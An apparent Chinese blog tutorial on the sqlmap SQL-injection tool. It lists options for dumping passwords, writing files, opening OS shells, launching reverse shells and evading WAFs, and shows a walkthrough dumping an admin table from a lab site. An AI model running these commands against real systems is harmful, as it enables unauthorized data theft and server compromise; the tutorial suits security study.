当前位置:网站首页>Sqlmap是什么以及使用方法
Sqlmap是什么以及使用方法
2022-07-29 05:18:00 【adeylinux】
前言:
Sqlmap是每个渗透测试工程师必备的工具.
一、Sqlmap是什么?
在这个数据无价的时代数据库安全已经成为了重中之重,于是就整理了一下最常用的参数.数据库安全方面的渗透测试工具sqlmap的使用.
sqlmap是一个自动化的sql注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,sqlmap还提供了很多脚本.但在实践测试的时候基本用不上.sqlmap是使用python开发的.有能力的可以自己编写脚本.
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
二、Sqlmap使用步骤:
1.基本参数:
-u #注入点
-g 谷歌搜索
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” 恢复:-s “xx.log” –resume)
–columns #列出字段
–current-user #获取当前用户名称
–current-db #获取当前数据库名称
–users #列数据库所有用户
–passwords #数据库用户所有密码
–privileges #查看用户权限(–privileges -U root)
-U #指定数据库用户
–dbs #列出所有数据库
–tables -D “” #列出指定数据库中的表
–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
–dump-all #列出所有数据库所有表
–exclude-sysdbs #只列出用户自己新建的数据库和表
–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系统(Linux,Windows)
–sql -shell 写shell
–delay 延迟的时间
–safe-freq 次数
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
–privileges #查看权限
–is-dba #是否是数据库管理员
–roles #枚举数据库用户角色
–udf-inject #导入用户自定义函数(获取系统权限)
–union-check #是否支持union 注入
–union-cols #union 查询表记录
–union-test #union 语句测试
–union-use #采用union 注入
–union-tech orderby #union配合order by
–method “POST” –data “” #POST方式提交数据(–method “POST” –data “page=1&id=2″)
–cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
–referer “” #使用referer欺骗(–referer “http://www.baidu.com”)
–user-agent “” #自定义user-agent
–proxy “http://127.0.0.1:8118″ #代理注入
–string “” #指定关键词
–threads #采用多线程(–threads 3)
–sql-shell #执行指定sql命令
–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″ )
–file-read #读取指定文件
–file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
–file-dest #要写入的文件绝对路径
–os-cmd=id #执行系统命令
–os-shell #系统交互shell
–os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)
–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #读取win系统注册表
–priv-esc #
–time-sec= #延迟设置 默认–time-sec=5 为5秒
-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入
–eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt 字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
实践操作(windows演示):
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1"
接下来查询库名:
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --dbs
通过查询得到有3个库:information_schema,maoshe,test.
查询表代码如下:
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe --tables
通过查询可以得知maoshe库下有4张表admin,dirs,news,xss.
查询表所有的列名
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin --columns
通过查询可以得知admin表下面有两列column,type.
查询数据(简称吃牢饭指令):
代码如下(示例):
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin -C password --dump
扩展指令:
命令:--proxys,作用:使用代理去跑目标网站。语法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --proxy="http://127.0.0.1:8087/"
命令:--random-agent ,作用:使用不同的用户代理头。语法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --proxy="http://127.0.0.1:8087/" --random-agent
命令:--cookie,作用:使用网站的身份去渗透目标。python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --cookie="A=14; jwt_id=10225; hyphp_lang=zh-CN; PHPSESSID=l88pctr08m1goksmt490ucqoec; Track_HEX=bptp%252B0qqBV3OTRLgJTnOdWYZg1Ht%25252FJZ1KsnKyK417OavpiHxZ%252BaTI4QERFEDhOehx%25252FFmM2XDdAetlserL65nSVF22msWlo6qytqaJvebChhDDbuiXJ9ghGMJBD6M0A30r%25252FN6etw8lwT17k%25252FlPf19i5HmXUM%253D; token=79995007156da9089ba3e8bfb784fc7c34c20f84; jwt_time=1649140798"
命令:--level ,作用:提高攻击的强度。
强度越高,时间越长,发现漏洞的几率越高。
命令:--risk ,作用:设置风险等级。
语法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --level 3 --risk 2
命令:--batch ,作用:默认选择 y/n
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --level 3 --risk 2 --batch
命令:--tamper,作用:使用脚本,绕过IPS、WAF等。语法:python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --tamper="tamper/between.py"
总结
以上就是本章内容,主要讲了sqlmap是什么以及使用方法.喜欢的话请点个赞.
边栏推荐
- Summary of the first week
- Terminal shell common commands
- Hcia-r & s self use notes (26) PPP
- Allocate memory: malloc() and free()
- 表格与表单相关知识点总结
- One dimensional array exercise
- Selenium实战案例之爬取js加密数据
- 微信小程序更改属性值-setData-双向绑定-model
- Alibaba cloud and Dingjie software released the cloud digital factory solution to realize the localized deployment of cloud MES system
- Day 5
猜你喜欢
[typescript] learn typescript object types in depth
第三课threejs全景预览房间案例
力扣994:腐烂的橘子(BFS)
Alibaba cloud and Dingjie software released the cloud digital factory solution to realize the localized deployment of cloud MES system
微信小程序-屏幕高度
Day 3
微信小程序-组件传参,状态管理
shell基本操作(下)
无重复字符的最长字串
Cmu15-213 shell lab experiment record
随机推荐
Set the background color of a cell in the table
Summary of the first week
Common shortcut keys for Ad
Allocate memory: malloc() and free()
ClickHouse学习(五)集群操作
js深拷贝-笔记
[C language series] - three methods to simulate the implementation of strlen library functions
On Paradigm
uniapp组件之倒计时(如阅读协议倒计时、完成学习倒计时)
ClickHouse学习(九)clickhouse整合mysql
shell基本操作(上)
JS simple code determines whether the device that opens the page is the PC end of the computer, the H5 end of the mobile phone, or the wechat end
Realize simple database query (incomplete)
Basic use of redis
抽象类与接口
Clickhouse learning (VIII) materialized view
个人学习笔记
uniapp组件之选择选项(如套餐选择)
微信小程序-屏幕高度
Thrift安装手册